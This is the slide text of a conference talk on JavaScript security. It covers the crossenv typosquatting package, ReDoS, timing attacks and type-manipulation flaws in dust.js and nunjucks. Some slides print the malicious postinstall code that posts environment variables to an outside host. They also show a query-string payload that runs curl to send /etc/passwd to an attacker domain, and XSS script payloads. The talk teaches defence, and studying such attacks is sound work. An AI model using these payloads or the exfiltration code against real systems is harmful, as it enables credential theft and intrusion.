Slide 1

Slide 1 text

JAVASCRIPT EXPOSED Tim Kadlec | @tkadlec

Slide 2

Slide 2 text

No content

Slide 3

Slide 3 text

TYPOSQUATTING

Slide 4

Slide 4 text

No content

Slide 5

Slide 5 text

{ "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }

Slide 6

Slide 6 text

{ "name": "crossenv", "version": "6.1.1", "description": "Run scripts that set and use environment variables across platforms", "main": "index.js", "scripts": { "test": "echo \"Error: no test specified\" && exit 1", "postinstall": "node package-setup.js" }, "author": "Kent C. Dodds (http://kentcdodds.com/)", "license": "ISC", "dependencies": { "cross-env": "^5.0.1" } }

Slide 7

Slide 7 text

const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();

Slide 8

Slide 8 text

const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();

Slide 9

Slide 9 text

const host = 'npm.hacktask.net'; const env = JSON.stringify(process.env); const data = new Buffer(env).toString('base64'); const postData = querystring.stringify({ data }); const options = { hostname: host, port: 80, path: '/log', method: 'POST', headers: { 'Content-Type': 'application/x-www-form-urlencoded', 'Content-Length': Buffer.byteLength(postData); } }; const req = http.request(options); req.write(postData); req.end();

Slide 10

Slide 10 text

No content

Slide 11

Slide 11 text

No content

Slide 12

Slide 12 text

No content

Slide 13

Slide 13 text

No content

Slide 14

Slide 14 text

CAN YOU TRUST THIRD-PARTY CODE?

Slide 15

Slide 15 text

THE RISK OF ABSTRACTIONS

Slide 16

Slide 16 text

~83% FIND A VULNERABILITY

Slide 17

Slide 17 text

No content

Slide 18

Slide 18 text

var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send();

Slide 19

Slide 19 text

var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }

Slide 20

Slide 20 text

var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }

Slide 21

Slide 21 text

var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }

Slide 22

Slide 22 text

var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }

Slide 23

Slide 23 text

var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }

Slide 24

Slide 24 text

$.getJSON('/my/url', {}) .done(function(){ // Success! }) .fail(function(){ // Error! });

Slide 25

Slide 25 text

var request = new XMLHttpRequest(); request.open('GET', '/my/url', true); request.onload = function() { if (request.status >= 200 && request.status < 400) { // Success! var data = JSON.parse(request.responseText); } else { // Error! } }; request.onerror = function() { // Something went wrong }; request.send(); }

Slide 26

Slide 26 text

$.getJSON('/my/url', {}) .done(function(){ // Success! }) .fail(function(){ // Error! });

Slide 27

Slide 27 text

$.get('/my/url', {});

Slide 28

Slide 28 text

JS fatigue

Slide 29

Slide 29 text

JS fatigue

Slide 30

Slide 30 text

JS fatigue

Slide 31

Slide 31 text

CAN YOU TRUST THIRD-PARTY CODE?

Slide 32

Slide 32 text

CAN YOU TRUST CODE?

Slide 33

Slide 33 text

No content

Slide 34

Slide 34 text

HACKED WILL BE HACKED

Slide 35

Slide 35 text

HACKED WILL BE HACKED

Slide 36

Slide 36 text

20-30 bugs per 1,000 lines of code

Slide 37

Slide 37 text

77% USE A VULNERABLE JS LIBRARY

Slide 38

Slide 38 text

NOT GREAT BUT FIXABLE

Slide 39

Slide 39 text

EVERYONE’S RESPONSIBILITY

Slide 40

Slide 40 text

WEAKNESSES IN THE LANGUAGE & ECOSYSTEM

Slide 41

Slide 41 text

THE EVENT LOOP

Slide 42

Slide 42 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second();

Slide 43

Slide 43 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second();

Slide 44

Slide 44 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second(); second()

Slide 45

Slide 45 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second(); second()

Slide 46

Slide 46 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second(); second() first()

Slide 47

Slide 47 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second(); second() first()

Slide 48

Slide 48 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second(); second()

Slide 49

Slide 49 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second(); second()

Slide 50

Slide 50 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ first(); console.log("How's it going?"); }; second();

Slide 51

Slide 51 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second();

Slide 52

Slide 52 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second();

Slide 53

Slide 53 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second()

Slide 54

Slide 54 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second()

Slide 55

Slide 55 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() setTimeout()

Slide 56

Slide 56 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() 0ms, console.log

Slide 57

Slide 57 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log

Slide 58

Slide 58 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log

Slide 59

Slide 59 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() first() console.log

Slide 60

Slide 60 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() first() console.log

Slide 61

Slide 61 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log

Slide 62

Slide 62 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); second() console.log

Slide 63

Slide 63 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); console.log

Slide 64

Slide 64 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); console.log

Slide 65

Slide 65 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second(); console.log

Slide 66

Slide 66 text

var first = function(){ console.log('Hey Midwest JS'); }; var second = function(){ setTimeout(function(){ console.log("How's it going?"); }, 0); first(); }; second();

Slide 67

Slide 67 text

No content

Slide 68

Slide 68 text

ReDoS REGULAR EXPRESSION DENIAL OF SERVICE

Slide 69

Slide 69 text

var regex = /A(B|C+)+D/;

Slide 70

Slide 70 text

var regex = /A(B|C+)+D/; A

Slide 71

Slide 71 text

var regex = /A(B|C+)+D/; (B|C+)

Slide 72

Slide 72 text

var regex = /A(B|C+)+D/; +

Slide 73

Slide 73 text

var regex = /A(B|C+)+D/; D

Slide 74

Slide 74 text

var regex = /A(B|C+)+D/; ABBD ABCCCCD ABCBCCCD ACCCCCD

Slide 75

Slide 75 text

No content

Slide 76

Slide 76 text

No content

Slide 77

Slide 77 text

No content

Slide 78

Slide 78 text

No content

Slide 79

Slide 79 text

ACCCX CCC CC+C C+CC C+C+C var regex = /A(B|C+)+D/;

Slide 80

Slide 80 text

String Number of C’s Number of Steps ACCCX 3 38 ACCCCX 4 71 ACCCCCX 5 136 ACCCCCCCCCCCCCCX 14 65,553

Slide 81

Slide 81 text

No content

Slide 82

Slide 82 text

moment().format('MMM Do YY');

Slide 83

Slide 83 text

moment().format('MMM Do YY'); var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+) +MMMM?/;

Slide 84

Slide 84 text

moment().format('MMM Do YY'); var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+) +MMMM?/; \s+)

Slide 85

Slide 85 text

m().format("D MMN MMMM"); var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+) +MMMM?/;

Slide 86

Slide 86 text

var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s+) +MMMM?/;

Slide 87

Slide 87 text

var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s +)MMMM?/;

Slide 88

Slide 88 text

No content

Slide 89

Slide 89 text

TIMING ATTACK

Slide 90

Slide 90 text

function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; }

Slide 91

Slide 91 text

function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; } token == ADMIN_UUID

Slide 92

Slide 92 text

foo == bar

Slide 93

Slide 93 text

foo == bar f b

Slide 94

Slide 94 text

foo == fox

Slide 95

Slide 95 text

foo == fox f f

Slide 96

Slide 96 text

foo == fox fo fo

Slide 97

Slide 97 text

foo == fox foo fox

Slide 98

Slide 98 text

function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; if (token == ADMIN_UUID) { return true; } return false; }

Slide 99

Slide 99 text

function isAdminToken(token) { var ADMIN_UUID = "28ec1f1c-a87a-43ac-8d9a- e6d0ddb8bbba"; var mismatch = 0; for (var i = 0; i < token.length; ++i) { mismatch |= (token.charCodeAt(i) ^ ADMIN_UUID.charCodeAt(i)); } return mismatch; }

Slide 100

Slide 100 text

DYNAMIC TYPING

Slide 101

Slide 101 text

var foo = true; foo = 1; foo = "hotdogs";

Slide 102

Slide 102 text

TYPE MANIPULATION

Slide 103

Slide 103 text

No content

Slide 104

Slide 104 text

{@if cond="'{device}' == 'desktop'"}
Desktop version
{:else}
Mobile Version
{/if}

Slide 105

Slide 105 text

"if": function( chunk, context, bodies, params ){ ... var cond = params.cond; cond = dust.helpers.tap(cond, chunk, context); // eval expressions with given dust references if(eval(cond)){ ... } }

Slide 106

Slide 106 text

NEVER TRUST USER INPUT

Slide 107

Slide 107 text

dust.escapeHtml = function(s) { if (typeof s === 'string') { if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&').replace(...) // more char replacements } return s; }

Slide 108

Slide 108 text

dust.escapeHtml = function(s) { if (typeof s === 'string') { if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&').replace(...) // more char replacements } return s; }

Slide 109

Slide 109 text

No content

Slide 110

Slide 110 text

qs.parse('a'); // {a : ''}

Slide 111

Slide 111 text

qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'}

Slide 112

Slide 112 text

qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'} qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'}

Slide 113

Slide 113 text

qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'} qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'} qs.parse('a=foo&a=bar'); // {a : ['foo', 'bar']}

Slide 114

Slide 114 text

qs.parse('a'); // {a : ''} qs.parse('a=foo'); // {a : 'foo'} qs.parse('a=foo&b=bar'); // {a : 'foo', b: ‘bar'} qs.parse('a=foo&a=bar'); // {a : ['foo', 'bar']} qs.parse('a[]=foo'); // {a : ['foo']}

Slide 115

Slide 115 text

https://host/demo?device[]=&device[]=

Slide 116

Slide 116 text

https://host/demo?device[]=&device[]= { device: [ '', '' ] }

Slide 117

Slide 117 text

https://host/demo?device[]=x&device[]=y'- require('child_process').exec(‘curl+-F +"x=`cat+/etc/passwd`"+artsploit.com')-' eval("'xy'- require('child_process').exec('curl -F \"x=`cat /etc/passwd`\" attacker.com')-'' == 'desktop'");

Slide 118

Slide 118 text

DISALLOW DISALLOW NON-STRING PARAMETERS

Slide 119

Slide 119 text

NORMALIZE CONVERT TO SINGLE INPUT TYPE

Slide 120

Slide 120 text

CUSTOM HANDLING SPECIFIC HANDLING FOR ALLOWED TYPES

Slide 121

Slide 121 text

dust.escapeHtml = function(s) { if (typeof s === 'string') { if (!HCHARS.test(s)) { return s; } return s.replace(AMP,'&').replace(...) // more char replacements } return s; }

Slide 122

Slide 122 text

dust.escapeHtml = function(s) { if (typeof s === "string" || (s && typeof s.toString === "function")) { if (typeof s !== "string") { s = s.toString(); } if (!HCHARS.test(s)) { return s; } } };

Slide 123

Slide 123 text

No content

Slide 124

Slide 124 text

nunjucks.renderString( 'Hello ', {username: ‘alert(1)' });

Slide 125

Slide 125 text

nunjucks.renderString( 'Hello ', {username: ‘alert(1)' }); Hello <script>alert(1)<script>

Slide 126

Slide 126 text

escape: function(str) { if(typeof str === 'string') { return r.markSafe(lib.escape(str)); } return str; }

Slide 127

Slide 127 text

escape: function(str) { if(typeof str === 'string') { return r.markSafe(lib.escape(str)); } return str; }

Slide 128

Slide 128 text

http://host/?username[]=alert(1)</ script>matt nunjucks.renderString( 'Hello ', {username: ['<script>alert(1)</ script>matt'] });

Slide 129

Slide 129 text

if(autoescape && !(val instanceof SafeString)) { val = lib.escape(val.toString()); }

Slide 130

Slide 130 text

KNOW WHAT HAPPENS UNDER THE HOOD

Slide 131

Slide 131 text

FOUNDATIONAL KNOWLEDGE & CREATIVITY

Slide 132

Slide 132 text

NOT GREAT BUT FIXABLE

Slide 133

Slide 133 text

THANK YOU Tim Kadlec | @tkadlec